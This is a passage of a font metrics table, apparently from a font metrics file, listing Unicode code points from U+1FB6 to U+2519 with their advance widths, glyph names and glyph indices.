U 8118 ; WX 770 ; N uni1FB6 ; G 1837
U 8119 ; WX 770 ; N uni1FB7 ; G 1838
U 8120 ; WX 776 ; N uni1FB8 ; G 1839
U 8121 ; WX 776 ; N uni1FB9 ; G 1840
U 8122 ; WX 811 ; N uni1FBA ; G 1841
U 8123 ; WX 776 ; N uni1FBB ; G 1842
U 8124 ; WX 776 ; N uni1FBC ; G 1843
U 8125 ; WX 500 ; N uni1FBD ; G 1844
U 8126 ; WX 500 ; N uni1FBE ; G 1845
U 8127 ; WX 500 ; N uni1FBF ; G 1846
U 8128 ; WX 500 ; N uni1FC0 ; G 1847
U 8129 ; WX 500 ; N uni1FC1 ; G 1848
U 8130 ; WX 727 ; N uni1FC2 ; G 1849
U 8131 ; WX 727 ; N uni1FC3 ; G 1850
U 8132 ; WX 727 ; N uni1FC4 ; G 1851
U 8134 ; WX 727 ; N uni1FC6 ; G 1852
U 8135 ; WX 727 ; N uni1FC7 ; G 1853
U 8136 ; WX 1000 ; N uni1FC8 ; G 1854
U 8137 ; WX 947 ; N uni1FC9 ; G 1855
U 8138 ; WX 1191 ; N uni1FCA ; G 1856
U 8139 ; WX 1118 ; N uni1FCB ; G 1857
U 8140 ; WX 945 ; N uni1FCC ; G 1858
U 8141 ; WX 500 ; N uni1FCD ; G 1859
U 8142 ; WX 500 ; N uni1FCE ; G 1860
U 8143 ; WX 500 ; N uni1FCF ; G 1861
U 8144 ; WX 484 ; N uni1FD0 ; G 1862
U 8145 ; WX 484 ; N uni1FD1 ; G 1863
U 8146 ; WX 484 ; N uni1FD2 ; G 1864
U 8147 ; WX 484 ; N uni1FD3 ; G 1865
U 8150 ; WX 484 ; N uni1FD6 ; G 1866
U 8151 ; WX 484 ; N uni1FD7 ; G 1867
U 8152 ; WX 468 ; N uni1FD8 ; G 1868
U 8153 ; WX 468 ; N uni1FD9 ; G 1869
U 8154 ; WX 714 ; N uni1FDA ; G 1870
U 8155 ; WX 662 ; N uni1FDB ; G 1871
U 8157 ; WX 500 ; N uni1FDD ; G 1872
U 8158 ; WX 500 ; N uni1FDE ; G 1873
U 8159 ; WX 500 ; N uni1FDF ; G 1874
U 8160 ; WX 694 ; N uni1FE0 ; G 1875
U 8161 ; WX 694 ; N uni1FE1 ; G 1876
U 8162 ; WX 694 ; N uni1FE2 ; G 1877
U 8163 ; WX 694 ; N uni1FE3 ; G 1878
U 8164 ; WX 665 ; N uni1FE4 ; G 1879
U 8165 ; WX 665 ; N uni1FE5 ; G 1880
U 8166 ; WX 694 ; N uni1FE6 ; G 1881
U 8167 ; WX 694 ; N uni1FE7 ; G 1882
U 8168 ; WX 714 ; N uni1FE8 ; G 1883
U 8169 ; WX 714 ; N uni1FE9 ; G 1884
U 8170 ; WX 1019 ; N uni1FEA ; G 1885
U 8171 ; WX 953 ; N uni1FEB ; G 1886
U 8172 ; WX 910 ; N uni1FEC ; G 1887
U 8173 ; WX 500 ; N uni1FED ; G 1888
U 8174 ; WX 500 ; N uni1FEE ; G 1889
U 8175 ; WX 500 ; N uni1FEF ; G 1890
U 8178 ; WX 952 ; N uni1FF2 ; G 1891
U 8179 ; WX 952 ; N uni1FF3 ; G 1892
U 8180 ; WX 952 ; N uni1FF4 ; G 1893
U 8182 ; WX 952 ; N uni1FF6 ; G 1894
U 8183 ; WX 952 ; N uni1FF7 ; G 1895
U 8184 ; WX 1069 ; N uni1FF8 ; G 1896
U 8185 ; WX 887 ; N uni1FF9 ; G 1897
U 8186 ; WX 1101 ; N uni1FFA ; G 1898
U 8187 ; WX 911 ; N uni1FFB ; G 1899
U 8188 ; WX 890 ; N uni1FFC ; G 1900
U 8189 ; WX 500 ; N uni1FFD ; G 1901
U 8190 ; WX 500 ; N uni1FFE ; G 1902
U 8192 ; WX 500 ; N uni2000 ; G 1903
U 8193 ; WX 1000 ; N uni2001 ; G 1904
U 8194 ; WX 500 ; N uni2002 ; G 1905
U 8195 ; WX 1000 ; N uni2003 ; G 1906
U 8196 ; WX 330 ; N uni2004 ; G 1907
U 8197 ; WX 250 ; N uni2005 ; G 1908
U 8198 ; WX 167 ; N uni2006 ; G 1909
U 8199 ; WX 696 ; N uni2007 ; G 1910
U 8200 ; WX 348 ; N uni2008 ; G 1911
U 8201 ; WX 200 ; N uni2009 ; G 1912
U 8202 ; WX 100 ; N uni200A ; G 1913
U 8203 ; WX 0 ; N uni200B ; G 1914
U 8204 ; WX 0 ; N uni200C ; G 1915
U 8205 ; WX 0 ; N uni200D ; G 1916
U 8206 ; WX 0 ; N uni200E ; G 1917
U 8207 ; WX 0 ; N uni200F ; G 1918
U 8208 ; WX 415 ; N uni2010 ; G 1919
U 8209 ; WX 415 ; N uni2011 ; G 1920
U 8210 ; WX 696 ; N figuredash ; G 1921
U 8211 ; WX 500 ; N endash ; G 1922
U 8212 ; WX 1000 ; N emdash ; G 1923
U 8213 ; WX 1000 ; N uni2015 ; G 1924
U 8214 ; WX 500 ; N uni2016 ; G 1925
U 8215 ; WX 500 ; N underscoredbl ; G 1926
U 8216 ; WX 348 ; N quoteleft ; G 1927
U 8217 ; WX 348 ; N quoteright ; G 1928
U 8218 ; WX 348 ; N quotesinglbase ; G 1929
U 8219 ; WX 348 ; N quotereversed ; G 1930
U 8220 ; WX 575 ; N quotedblleft ; G 1931
U 8221 ; WX 575 ; N quotedblright ; G 1932
U 8222 ; WX 575 ; N quotedblbase ; G 1933
U 8223 ; WX 575 ; N uni201F ; G 1934
U 8224 ; WX 523 ; N dagger ; G 1935
U 8225 ; WX 523 ; N daggerdbl ; G 1936
U 8226 ; WX 639 ; N bullet ; G 1937
U 8227 ; WX 639 ; N uni2023 ; G 1938
U 8228 ; WX 348 ; N onedotenleader ; G 1939
U 8229 ; WX 674 ; N twodotenleader ; G 1940
U 8230 ; WX 1000 ; N ellipsis ; G 1941
U 8234 ; WX 0 ; N uni202A ; G 1942
U 8235 ; WX 0 ; N uni202B ; G 1943
U 8236 ; WX 0 ; N uni202C ; G 1944
U 8237 ; WX 0 ; N uni202D ; G 1945
U 8238 ; WX 0 ; N uni202E ; G 1946
U 8239 ; WX 200 ; N uni202F ; G 1947
U 8240 ; WX 1385 ; N perthousand ; G 1948
U 8241 ; WX 1813 ; N uni2031 ; G 1949
U 8242 ; WX 264 ; N minute ; G 1950
U 8243 ; WX 447 ; N second ; G 1951
U 8244 ; WX 630 ; N uni2034 ; G 1952
U 8245 ; WX 264 ; N uni2035 ; G 1953
U 8246 ; WX 447 ; N uni2036 ; G 1954
U 8247 ; WX 630 ; N uni2037 ; G 1955
U 8248 ; WX 733 ; N uni2038 ; G 1956
U 8249 ; WX 400 ; N guilsinglleft ; G 1957
U 8250 ; WX 400 ; N guilsinglright ; G 1958
U 8252 ; WX 629 ; N exclamdbl ; G 1959
U 8253 ; WX 586 ; N uni203D ; G 1960
U 8254 ; WX 500 ; N uni203E ; G 1961
U 8258 ; WX 1023 ; N uni2042 ; G 1962
U 8260 ; WX 167 ; N fraction ; G 1963
U 8261 ; WX 473 ; N uni2045 ; G 1964
U 8262 ; WX 473 ; N uni2046 ; G 1965
U 8263 ; WX 1082 ; N uni2047 ; G 1966
U 8264 ; WX 856 ; N uni2048 ; G 1967
U 8265 ; WX 856 ; N uni2049 ; G 1968
U 8267 ; WX 636 ; N uni204B ; G 1969
U 8268 ; WX 500 ; N uni204C ; G 1970
U 8269 ; WX 500 ; N uni204D ; G 1971
U 8270 ; WX 523 ; N uni204E ; G 1972
U 8271 ; WX 369 ; N uni204F ; G 1973
U 8273 ; WX 523 ; N uni2051 ; G 1974
U 8274 ; WX 556 ; N uni2052 ; G 1975
U 8275 ; WX 1000 ; N uni2053 ; G 1976
U 8279 ; WX 813 ; N uni2057 ; G 1977
U 8287 ; WX 222 ; N uni205F ; G 1978
U 8288 ; WX 0 ; N uni2060 ; G 1979
U 8289 ; WX 0 ; N uni2061 ; G 1980
U 8290 ; WX 0 ; N uni2062 ; G 1981
U 8291 ; WX 0 ; N uni2063 ; G 1982
U 8292 ; WX 0 ; N uni2064 ; G 1983
U 8298 ; WX 0 ; N uni206A ; G 1984
U 8299 ; WX 0 ; N uni206B ; G 1985
U 8300 ; WX 0 ; N uni206C ; G 1986
U 8301 ; WX 0 ; N uni206D ; G 1987
U 8302 ; WX 0 ; N uni206E ; G 1988
U 8303 ; WX 0 ; N uni206F ; G 1989
U 8304 ; WX 438 ; N uni2070 ; G 1990
U 8305 ; WX 239 ; N uni2071 ; G 1991
U 8308 ; WX 438 ; N uni2074 ; G 1992
U 8309 ; WX 438 ; N uni2075 ; G 1993
U 8310 ; WX 438 ; N uni2076 ; G 1994
U 8311 ; WX 438 ; N uni2077 ; G 1995
U 8312 ; WX 438 ; N uni2078 ; G 1996
U 8313 ; WX 438 ; N uni2079 ; G 1997
U 8314 ; WX 528 ; N uni207A ; G 1998
U 8315 ; WX 528 ; N uni207B ; G 1999
U 8316 ; WX 528 ; N uni207C ; G 2000
U 8317 ; WX 298 ; N uni207D ; G 2001
U 8318 ; WX 298 ; N uni207E ; G 2002
U 8319 ; WX 458 ; N uni207F ; G 2003
U 8320 ; WX 438 ; N uni2080 ; G 2004
U 8321 ; WX 438 ; N uni2081 ; G 2005
U 8322 ; WX 438 ; N uni2082 ; G 2006
U 8323 ; WX 438 ; N uni2083 ; G 2007
U 8324 ; WX 438 ; N uni2084 ; G 2008
U 8325 ; WX 438 ; N uni2085 ; G 2009
U 8326 ; WX 438 ; N uni2086 ; G 2010
U 8327 ; WX 438 ; N uni2087 ; G 2011
U 8328 ; WX 438 ; N uni2088 ; G 2012
U 8329 ; WX 438 ; N uni2089 ; G 2013
U 8330 ; WX 528 ; N uni208A ; G 2014
U 8331 ; WX 528 ; N uni208B ; G 2015
U 8332 ; WX 528 ; N uni208C ; G 2016
U 8333 ; WX 298 ; N uni208D ; G 2017
U 8334 ; WX 298 ; N uni208E ; G 2018
U 8336 ; WX 408 ; N uni2090 ; G 2019
U 8337 ; WX 444 ; N uni2091 ; G 2020
U 8338 ; WX 467 ; N uni2092 ; G 2021
U 8339 ; WX 375 ; N uni2093 ; G 2022
U 8340 ; WX 444 ; N uni2094 ; G 2023
U 8341 ; WX 521 ; N uni2095 ; G 2024
U 8342 ; WX 523 ; N uni2096 ; G 2025
U 8343 ; WX 292 ; N uni2097 ; G 2026
U 8344 ; WX 729 ; N uni2098 ; G 2027
U 8345 ; WX 458 ; N uni2099 ; G 2028
U 8346 ; WX 499 ; N uni209A ; G 2029
U 8347 ; WX 395 ; N uni209B ; G 2030
U 8348 ; WX 371 ; N uni209C ; G 2031
U 8358 ; WX 696 ; N uni20A6 ; G 2032
U 8364 ; WX 696 ; N Euro ; G 2033
U 8367 ; WX 1155 ; N uni20AF ; G 2034
U 8369 ; WX 790 ; N uni20B1 ; G 2035
U 8372 ; WX 876 ; N uni20B4 ; G 2036
U 8373 ; WX 696 ; N uni20B5 ; G 2037
U 8376 ; WX 696 ; N uni20B8 ; G 2038
U 8377 ; WX 696 ; N uni20B9 ; G 2039
U 8378 ; WX 696 ; N uni20BA ; G 2040
U 8381 ; WX 696 ; N uni20BD ; G 2041
U 8451 ; WX 1198 ; N uni2103 ; G 2042
U 8457 ; WX 1112 ; N uni2109 ; G 2043
U 8462 ; WX 727 ; N uni210E ; G 2044
U 8463 ; WX 727 ; N uni210F ; G 2045
U 8470 ; WX 1087 ; N uni2116 ; G 2046
U 8482 ; WX 1000 ; N trademark ; G 2047
U 8486 ; WX 890 ; N uni2126 ; G 2048
U 8487 ; WX 890 ; N uni2127 ; G 2049
U 8490 ; WX 869 ; N uni212A ; G 2050
U 8491 ; WX 776 ; N uni212B ; G 2051
U 8498 ; WX 710 ; N uni2132 ; G 2052
U 8513 ; WX 786 ; N uni2141 ; G 2053
U 8514 ; WX 576 ; N uni2142 ; G 2054
U 8515 ; WX 637 ; N uni2143 ; G 2055
U 8516 ; WX 760 ; N uni2144 ; G 2056
U 8523 ; WX 903 ; N uni214B ; G 2057
U 8526 ; WX 592 ; N uni214E ; G 2058
U 8528 ; WX 1035 ; N uni2150 ; G 2059
U 8529 ; WX 1035 ; N uni2151 ; G 2060
U 8530 ; WX 1473 ; N uni2152 ; G 2061
U 8531 ; WX 1035 ; N onethird ; G 2062
U 8532 ; WX 1035 ; N twothirds ; G 2063
U 8533 ; WX 1035 ; N uni2155 ; G 2064
U 8534 ; WX 1035 ; N uni2156 ; G 2065
U 8535 ; WX 1035 ; N uni2157 ; G 2066
U 8536 ; WX 1035 ; N uni2158 ; G 2067
U 8537 ; WX 1035 ; N uni2159 ; G 2068
U 8538 ; WX 1035 ; N uni215A ; G 2069
U 8539 ; WX 1035 ; N oneeighth ; G 2070
U 8540 ; WX 1035 ; N threeeighths ; G 2071
U 8541 ; WX 1035 ; N fiveeighths ; G 2072
U 8542 ; WX 1035 ; N seveneighths ; G 2073
U 8543 ; WX 615 ; N uni215F ; G 2074
U 8544 ; WX 468 ; N uni2160 ; G 2075
U 8545 ; WX 843 ; N uni2161 ; G 2076
U 8546 ; WX 1218 ; N uni2162 ; G 2077
U 8547 ; WX 1135 ; N uni2163 ; G 2078
U 8548 ; WX 776 ; N uni2164 ; G 2079
U 8549 ; WX 1150 ; N uni2165 ; G 2080
U 8550 ; WX 1525 ; N uni2166 ; G 2081
U 8551 ; WX 1900 ; N uni2167 ; G 2082
U 8552 ; WX 1126 ; N uni2168 ; G 2083
U 8553 ; WX 776 ; N uni2169 ; G 2084
U 8554 ; WX 1127 ; N uni216A ; G 2085
U 8555 ; WX 1502 ; N uni216B ; G 2086
U 8556 ; WX 703 ; N uni216C ; G 2087
U 8557 ; WX 796 ; N uni216D ; G 2088
U 8558 ; WX 867 ; N uni216E ; G 2089
U 8559 ; WX 1107 ; N uni216F ; G 2090
U 8560 ; WX 380 ; N uni2170 ; G 2091
U 8561 ; WX 760 ; N uni2171 ; G 2092
U 8562 ; WX 1140 ; N uni2172 ; G 2093
U 8563 ; WX 961 ; N uni2173 ; G 2094
U 8564 ; WX 581 ; N uni2174 ; G 2095
U 8565 ; WX 961 ; N uni2175 ; G 2096
U 8566 ; WX 1341 ; N uni2176 ; G 2097
U 8567 ; WX 1721 ; N uni2177 ; G 2098
U 8568 ; WX 976 ; N uni2178 ; G 2099
U 8569 ; WX 596 ; N uni2179 ; G 2100
U 8570 ; WX 976 ; N uni217A ; G 2101
U 8571 ; WX 1356 ; N uni217B ; G 2102
U 8572 ; WX 380 ; N uni217C ; G 2103
U 8573 ; WX 609 ; N uni217D ; G 2104
U 8574 ; WX 699 ; N uni217E ; G 2105
U 8575 ; WX 1058 ; N uni217F ; G 2106
U 8576 ; WX 1255 ; N uni2180 ; G 2107
U 8577 ; WX 867 ; N uni2181 ; G 2108
U 8578 ; WX 1268 ; N uni2182 ; G 2109
U 8579 ; WX 796 ; N uni2183 ; G 2110
U 8580 ; WX 609 ; N uni2184 ; G 2111
U 8581 ; WX 796 ; N uni2185 ; G 2112
U 8585 ; WX 1035 ; N uni2189 ; G 2113
U 8592 ; WX 838 ; N arrowleft ; G 2114
U 8593 ; WX 838 ; N arrowup ; G 2115
U 8594 ; WX 838 ; N arrowright ; G 2116
U 8595 ; WX 838 ; N arrowdown ; G 2117
U 8596 ; WX 838 ; N arrowboth ; G 2118
U 8597 ; WX 838 ; N arrowupdn ; G 2119
U 8598 ; WX 838 ; N uni2196 ; G 2120
U 8599 ; WX 838 ; N uni2197 ; G 2121
U 8600 ; WX 838 ; N uni2198 ; G 2122
U 8601 ; WX 838 ; N uni2199 ; G 2123
U 8602 ; WX 838 ; N uni219A ; G 2124
U 8603 ; WX 838 ; N uni219B ; G 2125
U 8604 ; WX 838 ; N uni219C ; G 2126
U 8605 ; WX 838 ; N uni219D ; G 2127
U 8606 ; WX 838 ; N uni219E ; G 2128
U 8607 ; WX 838 ; N uni219F ; G 2129
U 8608 ; WX 838 ; N uni21A0 ; G 2130
U 8609 ; WX 838 ; N uni21A1 ; G 2131
U 8610 ; WX 838 ; N uni21A2 ; G 2132
U 8611 ; WX 838 ; N uni21A3 ; G 2133
U 8612 ; WX 838 ; N uni21A4 ; G 2134
U 8613 ; WX 838 ; N uni21A5 ; G 2135
U 8614 ; WX 838 ; N uni21A6 ; G 2136
U 8615 ; WX 838 ; N uni21A7 ; G 2137
U 8616 ; WX 838 ; N arrowupdnbse ; G 2138
U 8617 ; WX 838 ; N uni21A9 ; G 2139
U 8618 ; WX 838 ; N uni21AA ; G 2140
U 8619 ; WX 838 ; N uni21AB ; G 2141
U 8620 ; WX 838 ; N uni21AC ; G 2142
U 8621 ; WX 838 ; N uni21AD ; G 2143
U 8622 ; WX 838 ; N uni21AE ; G 2144
U 8623 ; WX 850 ; N uni21AF ; G 2145
U 8624 ; WX 838 ; N uni21B0 ; G 2146
U 8625 ; WX 838 ; N uni21B1 ; G 2147
U 8626 ; WX 838 ; N uni21B2 ; G 2148
U 8627 ; WX 838 ; N uni21B3 ; G 2149
U 8628 ; WX 838 ; N uni21B4 ; G 2150
U 8629 ; WX 838 ; N carriagereturn ; G 2151
U 8630 ; WX 838 ; N uni21B6 ; G 2152
U 8631 ; WX 838 ; N uni21B7 ; G 2153
U 8632 ; WX 838 ; N uni21B8 ; G 2154
U 8633 ; WX 838 ; N uni21B9 ; G 2155
U 8634 ; WX 838 ; N uni21BA ; G 2156
U 8635 ; WX 838 ; N uni21BB ; G 2157
U 8636 ; WX 838 ; N uni21BC ; G 2158
U 8637 ; WX 838 ; N uni21BD ; G 2159
U 8638 ; WX 838 ; N uni21BE ; G 2160
U 8639 ; WX 838 ; N uni21BF ; G 2161
U 8640 ; WX 838 ; N uni21C0 ; G 2162
U 8641 ; WX 838 ; N uni21C1 ; G 2163
U 8642 ; WX 838 ; N uni21C2 ; G 2164
U 8643 ; WX 838 ; N uni21C3 ; G 2165
U 8644 ; WX 838 ; N uni21C4 ; G 2166
U 8645 ; WX 838 ; N uni21C5 ; G 2167
U 8646 ; WX 838 ; N uni21C6 ; G 2168
U 8647 ; WX 838 ; N uni21C7 ; G 2169
U 8648 ; WX 838 ; N uni21C8 ; G 2170
U 8649 ; WX 838 ; N uni21C9 ; G 2171
U 8650 ; WX 838 ; N uni21CA ; G 2172
U 8651 ; WX 838 ; N uni21CB ; G 2173
U 8652 ; WX 838 ; N uni21CC ; G 2174
U 8653 ; WX 838 ; N uni21CD ; G 2175
U 8654 ; WX 838 ; N uni21CE ; G 2176
U 8655 ; WX 838 ; N uni21CF ; G 2177
U 8656 ; WX 838 ; N arrowdblleft ; G 2178
U 8657 ; WX 838 ; N arrowdblup ; G 2179
U 8658 ; WX 838 ; N arrowdblright ; G 2180
U 8659 ; WX 838 ; N arrowdbldown ; G 2181
U 8660 ; WX 838 ; N arrowdblboth ; G 2182
U 8661 ; WX 838 ; N uni21D5 ; G 2183
U 8662 ; WX 838 ; N uni21D6 ; G 2184
U 8663 ; WX 838 ; N uni21D7 ; G 2185
U 8664 ; WX 838 ; N uni21D8 ; G 2186
U 8665 ; WX 838 ; N uni21D9 ; G 2187
U 8666 ; WX 838 ; N uni21DA ; G 2188
U 8667 ; WX 838 ; N uni21DB ; G 2189
U 8668 ; WX 838 ; N uni21DC ; G 2190
U 8669 ; WX 838 ; N uni21DD ; G 2191
U 8670 ; WX 838 ; N uni21DE ; G 2192
U 8671 ; WX 838 ; N uni21DF ; G 2193
U 8672 ; WX 838 ; N uni21E0 ; G 2194
U 8673 ; WX 838 ; N uni21E1 ; G 2195
U 8674 ; WX 838 ; N uni21E2 ; G 2196
U 8675 ; WX 838 ; N uni21E3 ; G 2197
U 8676 ; WX 838 ; N uni21E4 ; G 2198
U 8677 ; WX 838 ; N uni21E5 ; G 2199
U 8678 ; WX 838 ; N uni21E6 ; G 2200
U 8679 ; WX 838 ; N uni21E7 ; G 2201
U 8680 ; WX 838 ; N uni21E8 ; G 2202
U 8681 ; WX 838 ; N uni21E9 ; G 2203
U 8682 ; WX 838 ; N uni21EA ; G 2204
U 8683 ; WX 838 ; N uni21EB ; G 2205
U 8684 ; WX 838 ; N uni21EC ; G 2206
U 8685 ; WX 838 ; N uni21ED ; G 2207
U 8686 ; WX 838 ; N uni21EE ; G 2208
U 8687 ; WX 838 ; N uni21EF ; G 2209
U 8688 ; WX 838 ; N uni21F0 ; G 2210
U 8689 ; WX 838 ; N uni21F1 ; G 2211
U 8690 ; WX 838 ; N uni21F2 ; G 2212
U 8691 ; WX 838 ; N uni21F3 ; G 2213
U 8692 ; WX 838 ; N uni21F4 ; G 2214
U 8693 ; WX 838 ; N uni21F5 ; G 2215
U 8694 ; WX 838 ; N uni21F6 ; G 2216
U 8695 ; WX 838 ; N uni21F7 ; G 2217
U 8696 ; WX 838 ; N uni21F8 ; G 2218
U 8697 ; WX 838 ; N uni21F9 ; G 2219
U 8698 ; WX 838 ; N uni21FA ; G 2220
U 8699 ; WX 838 ; N uni21FB ; G 2221
U 8700 ; WX 838 ; N uni21FC ; G 2222
U 8701 ; WX 838 ; N uni21FD ; G 2223
U 8702 ; WX 838 ; N uni21FE ; G 2224
U 8703 ; WX 838 ; N uni21FF ; G 2225
U 8704 ; WX 641 ; N universal ; G 2226
U 8706 ; WX 534 ; N partialdiff ; G 2227
U 8707 ; WX 620 ; N existential ; G 2228
U 8708 ; WX 620 ; N uni2204 ; G 2229
U 8710 ; WX 753 ; N increment ; G 2230
U 8711 ; WX 753 ; N gradient ; G 2231
U 8712 ; WX 740 ; N element ; G 2232
U 8713 ; WX 740 ; N notelement ; G 2233
U 8715 ; WX 740 ; N suchthat ; G 2234
U 8716 ; WX 740 ; N uni220C ; G 2235
U 8719 ; WX 842 ; N product ; G 2236
U 8720 ; WX 842 ; N uni2210 ; G 2237
U 8721 ; WX 753 ; N summation ; G 2238
U 8722 ; WX 838 ; N minus ; G 2239
U 8723 ; WX 838 ; N uni2213 ; G 2240
U 8724 ; WX 838 ; N uni2214 ; G 2241
U 8725 ; WX 365 ; N uni2215 ; G 2242
U 8727 ; WX 691 ; N asteriskmath ; G 2243
U 8728 ; WX 519 ; N uni2218 ; G 2244
U 8729 ; WX 519 ; N uni2219 ; G 2245
U 8730 ; WX 657 ; N radical ; G 2246
U 8731 ; WX 657 ; N uni221B ; G 2247
U 8732 ; WX 657 ; N uni221C ; G 2248
U 8733 ; WX 672 ; N proportional ; G 2249
U 8734 ; WX 833 ; N infinity ; G 2250
U 8735 ; WX 838 ; N orthogonal ; G 2251
U 8736 ; WX 838 ; N angle ; G 2252
U 8739 ; WX 324 ; N uni2223 ; G 2253
U 8740 ; WX 607 ; N uni2224 ; G 2254
U 8741 ; WX 529 ; N uni2225 ; G 2255
U 8742 ; WX 773 ; N uni2226 ; G 2256
U 8743 ; WX 812 ; N logicaland ; G 2257
U 8744 ; WX 812 ; N logicalor ; G 2258
U 8745 ; WX 838 ; N intersection ; G 2259
U 8746 ; WX 838 ; N union ; G 2260
U 8747 ; WX 579 ; N integral ; G 2261
U 8748 ; WX 1000 ; N uni222C ; G 2262
U 8749 ; WX 1391 ; N uni222D ; G 2263
U 8760 ; WX 838 ; N uni2238 ; G 2264
U 8761 ; WX 838 ; N uni2239 ; G 2265
U 8762 ; WX 838 ; N uni223A ; G 2266
U 8763 ; WX 838 ; N uni223B ; G 2267
U 8764 ; WX 838 ; N similar ; G 2268
U 8765 ; WX 838 ; N uni223D ; G 2269
U 8770 ; WX 838 ; N uni2242 ; G 2270
U 8771 ; WX 838 ; N uni2243 ; G 2271
U 8776 ; WX 838 ; N approxequal ; G 2272
U 8784 ; WX 838 ; N uni2250 ; G 2273
U 8785 ; WX 838 ; N uni2251 ; G 2274
U 8786 ; WX 838 ; N uni2252 ; G 2275
U 8787 ; WX 838 ; N uni2253 ; G 2276
U 8788 ; WX 1082 ; N uni2254 ; G 2277
U 8789 ; WX 1082 ; N uni2255 ; G 2278
U 8800 ; WX 838 ; N notequal ; G 2279
U 8801 ; WX 838 ; N equivalence ; G 2280
U 8804 ; WX 838 ; N lessequal ; G 2281
U 8805 ; WX 838 ; N greaterequal ; G 2282
U 8834 ; WX 838 ; N propersubset ; G 2283
U 8835 ; WX 838 ; N propersuperset ; G 2284
U 8836 ; WX 838 ; N notsubset ; G 2285
U 8837 ; WX 838 ; N uni2285 ; G 2286
U 8838 ; WX 838 ; N reflexsubset ; G 2287
U 8839 ; WX 838 ; N reflexsuperset ; G 2288
U 8844 ; WX 838 ; N uni228C ; G 2289
U 8845 ; WX 838 ; N uni228D ; G 2290
U 8846 ; WX 838 ; N uni228E ; G 2291
U 8847 ; WX 838 ; N uni228F ; G 2292
U 8848 ; WX 838 ; N uni2290 ; G 2293
U 8849 ; WX 838 ; N uni2291 ; G 2294
U 8850 ; WX 838 ; N uni2292 ; G 2295
U 8851 ; WX 838 ; N uni2293 ; G 2296
U 8852 ; WX 838 ; N uni2294 ; G 2297
U 8853 ; WX 838 ; N circleplus ; G 2298
U 8854 ; WX 838 ; N uni2296 ; G 2299
U 8855 ; WX 838 ; N circlemultiply ; G 2300
U 8856 ; WX 838 ; N uni2298 ; G 2301
U 8857 ; WX 838 ; N uni2299 ; G 2302
U 8858 ; WX 838 ; N uni229A ; G 2303
U 8859 ; WX 838 ; N uni229B ; G 2304
U 8860 ; WX 838 ; N uni229C ; G 2305
U 8861 ; WX 838 ; N uni229D ; G 2306
U 8862 ; WX 838 ; N uni229E ; G 2307
U 8863 ; WX 838 ; N uni229F ; G 2308
U 8864 ; WX 838 ; N uni22A0 ; G 2309
U 8865 ; WX 838 ; N uni22A1 ; G 2310
U 8866 ; WX 884 ; N uni22A2 ; G 2311
U 8867 ; WX 884 ; N uni22A3 ; G 2312
U 8868 ; WX 960 ; N uni22A4 ; G 2313
U 8869 ; WX 960 ; N perpendicular ; G 2314
U 8870 ; WX 616 ; N uni22A6 ; G 2315
U 8871 ; WX 616 ; N uni22A7 ; G 2316
U 8872 ; WX 884 ; N uni22A8 ; G 2317
U 8873 ; WX 884 ; N uni22A9 ; G 2318
U 8874 ; WX 884 ; N uni22AA ; G 2319
U 8875 ; WX 1080 ; N uni22AB ; G 2320
U 8876 ; WX 884 ; N uni22AC ; G 2321
U 8877 ; WX 884 ; N uni22AD ; G 2322
U 8878 ; WX 884 ; N uni22AE ; G 2323
U 8879 ; WX 1080 ; N uni22AF ; G 2324
U 8900 ; WX 626 ; N uni22C4 ; G 2325
U 8901 ; WX 398 ; N dotmath ; G 2326
U 8962 ; WX 834 ; N house ; G 2327
U 8968 ; WX 473 ; N uni2308 ; G 2328
U 8969 ; WX 473 ; N uni2309 ; G 2329
U 8970 ; WX 473 ; N uni230A ; G 2330
U 8971 ; WX 473 ; N uni230B ; G 2331
U 8976 ; WX 838 ; N revlogicalnot ; G 2332
U 8977 ; WX 539 ; N uni2311 ; G 2333
U 8984 ; WX 928 ; N uni2318 ; G 2334
U 8985 ; WX 838 ; N uni2319 ; G 2335
U 8992 ; WX 579 ; N integraltp ; G 2336
U 8993 ; WX 579 ; N integralbt ; G 2337
U 8997 ; WX 1000 ; N uni2325 ; G 2338
U 9000 ; WX 1443 ; N uni2328 ; G 2339
U 9085 ; WX 1008 ; N uni237D ; G 2340
U 9115 ; WX 500 ; N uni239B ; G 2341
U 9116 ; WX 500 ; N uni239C ; G 2342
U 9117 ; WX 500 ; N uni239D ; G 2343
U 9118 ; WX 500 ; N uni239E ; G 2344
U 9119 ; WX 500 ; N uni239F ; G 2345
U 9120 ; WX 500 ; N uni23A0 ; G 2346
U 9121 ; WX 500 ; N uni23A1 ; G 2347
U 9122 ; WX 500 ; N uni23A2 ; G 2348
U 9123 ; WX 500 ; N uni23A3 ; G 2349
U 9124 ; WX 500 ; N uni23A4 ; G 2350
U 9125 ; WX 500 ; N uni23A5 ; G 2351
U 9126 ; WX 500 ; N uni23A6 ; G 2352
U 9127 ; WX 750 ; N uni23A7 ; G 2353
U 9128 ; WX 750 ; N uni23A8 ; G 2354
U 9129 ; WX 750 ; N uni23A9 ; G 2355
U 9130 ; WX 750 ; N uni23AA ; G 2356
U 9131 ; WX 750 ; N uni23AB ; G 2357
U 9132 ; WX 750 ; N uni23AC ; G 2358
U 9133 ; WX 750 ; N uni23AD ; G 2359
U 9134 ; WX 579 ; N uni23AE ; G 2360
U 9167 ; WX 945 ; N uni23CF ; G 2361
U 9251 ; WX 834 ; N uni2423 ; G 2362
U 9472 ; WX 602 ; N SF100000 ; G 2363
U 9473 ; WX 602 ; N uni2501 ; G 2364
U 9474 ; WX 602 ; N SF110000 ; G 2365
U 9475 ; WX 602 ; N uni2503 ; G 2366
U 9476 ; WX 602 ; N uni2504 ; G 2367
U 9477 ; WX 602 ; N uni2505 ; G 2368
U 9478 ; WX 602 ; N uni2506 ; G 2369
U 9479 ; WX 602 ; N uni2507 ; G 2370
U 9480 ; WX 602 ; N uni2508 ; G 2371
U 9481 ; WX 602 ; N uni2509 ; G 2372
U 9482 ; WX 602 ; N uni250A ; G 2373
U 9483 ; WX 602 ; N uni250B ; G 2374
U 9484 ; WX 602 ; N SF010000 ; G 2375
U 9485 ; WX 602 ; N uni250D ; G 2376
U 9486 ; WX 602 ; N uni250E ; G 2377
U 9487 ; WX 602 ; N uni250F ; G 2378
U 9488 ; WX 602 ; N SF030000 ; G 2379
U 9489 ; WX 602 ; N uni2511 ; G 2380
U 9490 ; WX 602 ; N uni2512 ; G 2381
U 9491 ; WX 602 ; N uni2513 ; G 2382
U 9492 ; WX 602 ; N SF020000 ; G 2383
U 9493 ; WX 602 ; N uni2515 ; G 2384
U 9494 ; WX 602 ; N uni2516 ; G 2385
U 9495 ; WX 602 ; N uni2517 ; G 2386
U 9496 ; WX 602 ; N SF040000 ; G 2387
U 9497 ; WX 602 ; N uni2519 ; G 2388
